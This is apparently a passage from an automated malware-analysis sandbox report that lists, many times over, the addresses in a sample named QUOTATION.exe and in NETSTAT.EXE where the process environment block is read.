Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109E539 mov eax, dword ptr fs:[00000030h] 17_2_0109E539
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0105A537 mov eax, dword ptr fs:[00000030h] 17_2_0105A537
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01004D3B mov eax, dword ptr fs:[00000030h] 17_2_01004D3B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01004D3B mov eax, dword ptr fs:[00000030h] 17_2_01004D3B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01004D3B mov eax, dword ptr fs:[00000030h] 17_2_01004D3B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A8D34 mov eax, dword ptr fs:[00000030h] 17_2_010A8D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01013D43 mov eax, dword ptr fs:[00000030h] 17_2_01013D43
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01053540 mov eax, dword ptr fs:[00000030h] 17_2_01053540
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01083D40 mov eax, dword ptr fs:[00000030h] 17_2_01083D40
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE849B mov eax, dword ptr fs:[00000030h] 17_2_00FE849B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002581 mov eax, dword ptr fs:[00000030h] 17_2_01002581
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002581 mov eax, dword ptr fs:[00000030h] 17_2_01002581
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002581 mov eax, dword ptr fs:[00000030h] 17_2_01002581
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002581 mov eax, dword ptr fs:[00000030h] 17_2_01002581
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 mov eax, dword ptr fs:[00000030h] 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092D82 mov eax, dword ptr fs:[00000030h] 17_2_01092D82
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092D82 mov eax, dword ptr fs:[00000030h] 17_2_01092D82
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092D82 mov eax, dword ptr fs:[00000030h] 17_2_01092D82
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092D82 mov eax, dword ptr fs:[00000030h] 17_2_01092D82
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092D82 mov eax, dword ptr fs:[00000030h] 17_2_01092D82
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092D82 mov eax, dword ptr fs:[00000030h] 17_2_01092D82
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092D82 mov eax, dword ptr fs:[00000030h] 17_2_01092D82
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF746D mov eax, dword ptr fs:[00000030h] 17_2_00FF746D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100FD9B mov eax, dword ptr fs:[00000030h] 17_2_0100FD9B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100FD9B mov eax, dword ptr fs:[00000030h] 17_2_0100FD9B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010035A1 mov eax, dword ptr fs:[00000030h] 17_2_010035A1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A05AC mov eax, dword ptr fs:[00000030h] 17_2_010A05AC
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A05AC mov eax, dword ptr fs:[00000030h] 17_2_010A05AC
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01001DB5 mov eax, dword ptr fs:[00000030h] 17_2_01001DB5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01001DB5 mov eax, dword ptr fs:[00000030h] 17_2_01001DB5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01001DB5 mov eax, dword ptr fs:[00000030h] 17_2_01001DB5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056DC9 mov eax, dword ptr fs:[00000030h] 17_2_01056DC9
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056DC9 mov eax, dword ptr fs:[00000030h] 17_2_01056DC9
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056DC9 mov eax, dword ptr fs:[00000030h] 17_2_01056DC9
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056DC9 mov ecx, dword ptr fs:[00000030h] 17_2_01056DC9
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056DC9 mov eax, dword ptr fs:[00000030h] 17_2_01056DC9
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056DC9 mov eax, dword ptr fs:[00000030h] 17_2_01056DC9
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109FDE2 mov eax, dword ptr fs:[00000030h] 17_2_0109FDE2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109FDE2 mov eax, dword ptr fs:[00000030h] 17_2_0109FDE2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109FDE2 mov eax, dword ptr fs:[00000030h] 17_2_0109FDE2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109FDE2 mov eax, dword ptr fs:[00000030h] 17_2_0109FDE2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01088DF1 mov eax, dword ptr fs:[00000030h] 17_2_01088DF1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A740D mov eax, dword ptr fs:[00000030h] 17_2_010A740D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A740D mov eax, dword ptr fs:[00000030h] 17_2_010A740D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A740D mov eax, dword ptr fs:[00000030h] 17_2_010A740D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091C06 mov eax, dword ptr fs:[00000030h] 17_2_01091C06
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056C0A mov eax, dword ptr fs:[00000030h] 17_2_01056C0A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056C0A mov eax, dword ptr fs:[00000030h] 17_2_01056C0A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056C0A mov eax, dword ptr fs:[00000030h] 17_2_01056C0A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056C0A mov eax, dword ptr fs:[00000030h] 17_2_01056C0A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FED5E0 mov eax, dword ptr fs:[00000030h] 17_2_00FED5E0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FED5E0 mov eax, dword ptr fs:[00000030h] 17_2_00FED5E0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100BC2C mov eax, dword ptr fs:[00000030h] 17_2_0100BC2C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100A44B mov eax, dword ptr fs:[00000030h] 17_2_0100A44B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106C450 mov eax, dword ptr fs:[00000030h] 17_2_0106C450
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106C450 mov eax, dword ptr fs:[00000030h] 17_2_0106C450
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD2D8A mov eax, dword ptr fs:[00000030h] 17_2_00FD2D8A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD2D8A mov eax, dword ptr fs:[00000030h] 17_2_00FD2D8A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD2D8A mov eax, dword ptr fs:[00000030h] 17_2_00FD2D8A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD2D8A mov eax, dword ptr fs:[00000030h] 17_2_00FD2D8A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD2D8A mov eax, dword ptr fs:[00000030h] 17_2_00FD2D8A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100AC7B mov eax, dword ptr fs:[00000030h] 17_2_0100AC7B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFC577 mov eax, dword ptr fs:[00000030h] 17_2_00FFC577
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFC577 mov eax, dword ptr fs:[00000030h] 17_2_00FFC577
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 mov eax, dword ptr fs:[00000030h] 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF7D50 mov eax, dword ptr fs:[00000030h] 17_2_00FF7D50
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE3D34 mov eax, dword ptr fs:[00000030h] 17_2_00FE3D34
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDAD30 mov eax, dword ptr fs:[00000030h] 17_2_00FDAD30
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A8CD6 mov eax, dword ptr fs:[00000030h] 17_2_010A8CD6
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010914FB mov eax, dword ptr fs:[00000030h] 17_2_010914FB
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056CF0 mov eax, dword ptr fs:[00000030h] 17_2_01056CF0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056CF0 mov eax, dword ptr fs:[00000030h] 17_2_01056CF0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01056CF0 mov eax, dword ptr fs:[00000030h] 17_2_01056CF0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A070D mov eax, dword ptr fs:[00000030h] 17_2_010A070D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A070D mov eax, dword ptr fs:[00000030h] 17_2_010A070D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100A70E mov eax, dword ptr fs:[00000030h] 17_2_0100A70E
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100A70E mov eax, dword ptr fs:[00000030h] 17_2_0100A70E
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106FF10 mov eax, dword ptr fs:[00000030h] 17_2_0106FF10
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106FF10 mov eax, dword ptr fs:[00000030h] 17_2_0106FF10
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE76E2 mov eax, dword ptr fs:[00000030h] 17_2_00FE76E2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100E730 mov eax, dword ptr fs:[00000030h] 17_2_0100E730
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A8F6A mov eax, dword ptr fs:[00000030h] 17_2_010A8F6A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFAE73 mov eax, dword ptr fs:[00000030h] 17_2_00FFAE73
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFAE73 mov eax, dword ptr fs:[00000030h] 17_2_00FFAE73
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFAE73 mov eax, dword ptr fs:[00000030h] 17_2_00FFAE73
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFAE73 mov eax, dword ptr fs:[00000030h] 17_2_00FFAE73
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFAE73 mov eax, dword ptr fs:[00000030h] 17_2_00FFAE73
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01057794 mov eax, dword ptr fs:[00000030h] 17_2_01057794
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01057794 mov eax, dword ptr fs:[00000030h] 17_2_01057794
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01057794 mov eax, dword ptr fs:[00000030h] 17_2_01057794
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE766D mov eax, dword ptr fs:[00000030h] 17_2_00FE766D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE7E41 mov eax, dword ptr fs:[00000030h] 17_2_00FE7E41
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE7E41 mov eax, dword ptr fs:[00000030h] 17_2_00FE7E41
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE7E41 mov eax, dword ptr fs:[00000030h] 17_2_00FE7E41
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE7E41 mov eax, dword ptr fs:[00000030h] 17_2_00FE7E41
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE7E41 mov eax, dword ptr fs:[00000030h] 17_2_00FE7E41
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE7E41 mov eax, dword ptr fs:[00000030h] 17_2_00FE7E41
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDE620 mov eax, dword ptr fs:[00000030h] 17_2_00FDE620
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010137F5 mov eax, dword ptr fs:[00000030h] 17_2_010137F5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDC600 mov eax, dword ptr fs:[00000030h] 17_2_00FDC600
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDC600 mov eax, dword ptr fs:[00000030h] 17_2_00FDC600
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDC600 mov eax, dword ptr fs:[00000030h] 17_2_00FDC600
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01008E00 mov eax, dword ptr fs:[00000030h] 17_2_01008E00
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091608 mov eax, dword ptr fs:[00000030h] 17_2_01091608
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100A61C mov eax, dword ptr fs:[00000030h] 17_2_0100A61C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100A61C mov eax, dword ptr fs:[00000030h] 17_2_0100A61C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0108FE3F mov eax, dword ptr fs:[00000030h] 17_2_0108FE3F
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109AE44 mov eax, dword ptr fs:[00000030h] 17_2_0109AE44
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109AE44 mov eax, dword ptr fs:[00000030h] 17_2_0109AE44
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE8794 mov eax, dword ptr fs:[00000030h] 17_2_00FE8794
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106FE87 mov eax, dword ptr fs:[00000030h] 17_2_0106FE87
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEFF60 mov eax, dword ptr fs:[00000030h] 17_2_00FEFF60
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010546A7 mov eax, dword ptr fs:[00000030h] 17_2_010546A7
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A0EA5 mov eax, dword ptr fs:[00000030h] 17_2_010A0EA5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A0EA5 mov eax, dword ptr fs:[00000030h] 17_2_010A0EA5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A0EA5 mov eax, dword ptr fs:[00000030h] 17_2_010A0EA5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEEF40 mov eax, dword ptr fs:[00000030h] 17_2_00FEEF40
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB73D mov eax, dword ptr fs:[00000030h] 17_2_00FFB73D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB73D mov eax, dword ptr fs:[00000030h] 17_2_00FFB73D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01018EC7 mov eax, dword ptr fs:[00000030h] 17_2_01018EC7
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0108FEC0 mov eax, dword ptr fs:[00000030h] 17_2_0108FEC0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010036CC mov eax, dword ptr fs:[00000030h] 17_2_010036CC
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD4F2E mov eax, dword ptr fs:[00000030h] 17_2_00FD4F2E
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD4F2E mov eax, dword ptr fs:[00000030h] 17_2_00FD4F2E
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A8ED6 mov eax, dword ptr fs:[00000030h] 17_2_010A8ED6
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010016E0 mov ecx, dword ptr fs:[00000030h] 17_2_010016E0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFF716 mov eax, dword ptr fs:[00000030h] 17_2_00FFF716
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0330131B mov eax, dword ptr fs:[00000030h] 24_2_0330131B
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
